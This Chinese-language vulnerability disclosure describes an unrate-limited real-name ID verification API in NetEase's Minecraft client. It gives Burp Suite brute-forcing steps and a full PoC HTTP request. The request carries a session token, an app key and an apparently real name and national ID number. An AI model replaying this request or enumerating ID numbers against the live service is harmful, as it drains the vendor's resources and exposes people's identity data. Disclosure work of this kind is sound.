# 网易我的世界客户端存在不受限制资源调用漏洞

漏洞类型: 逻辑漏洞

漏洞URL: service.mkey.163.com/mpay/api/users/realname/verify\_by\_ticket

漏洞危害: 高危

漏洞概述:

 新用户登入我的世界客户端的时候,需要进行成年人实名认证来抵制未成年人玩游戏,此时我们可以无限制的调用这个接口,无限制的消耗厂商的资源,因厂商非公安机构,所以调用查询身份证的接口是需要消耗钱财的,我们可以无限制的调用这个接口也就可以无限制消耗厂商的财务,并且还可以用来爆破别人的身份证

漏洞复现:

 打开网易我的世界客户端,登入一个新用户,会弹出来实名认证的窗口



随便填写一个成年人的身份证,开启burp suite进行数据包截获,并放入爆破模块中,进行无限制资源调用的测试





因为只是测试,我们只将后两位调为payload,然后进行爆破



发现可以一直调用这个接口进行爆破,还可以用来爆破别人的身份证,虽然有重名的情况,但是不多,可以通过排除法排除出来,但最大的危害是无限制消耗调用身份证的这个接口

并且哪怕第一次无限制因为其他原因失效,但是客户端不会直接将身份证信息录入用户信息中,会弹出页面叫玩家是否确认信息,所以可以重新填写,再次利用这个接口无限制的进行调用



POC:

POST /mpay/api/users/realname/verify\_by\_ticket HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept: \*/\*

X-Requested-With: XMLHttpRequest

Referer: https://service.mkey.163.com/mpay/api/users/realname/guide?app\_channel=netease&app\_mode=2&app\_type=games&arch=win\_x32&cv=c3.4.0&device\_id=amawfaaaahmpqh3d-d&game\_id=aecfrxodyqaaaajp-g-x19&gv=1.8.11.45606&mcount\_app\_key=EEkEEXLymcNjM42yLY3Bn6AO15aGy4yq&mcount\_transaction\_id=06024f23-d426-11ec-8cf8-4b696ee8d233-2&process\_id=5596&sv=10.0.22000&token=1-eyJzIjogIjBmMDliOTBjMGJkYmQyYzNjMmQ1YmM3NDdmZGE5OGY3ODc3YTYyIiwgImdfaSI6ICJhZWNmcnhvZHlxYWFhYWpwIiwgInQiOiAxfSAg&updater\_cv=c1.0.0

Accept-Language: zh-Hans-CN,zh-Hans;q=0.5

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: service.mkey.163.com

Content-Length: 90

Connection: close

Cache-Control: no-cache

realname=%E7%8E%8B%E9%9D%92&id\_region=86&id\_num=420982198502120052&ticket=AAAAAGmR\_IUAH2Pn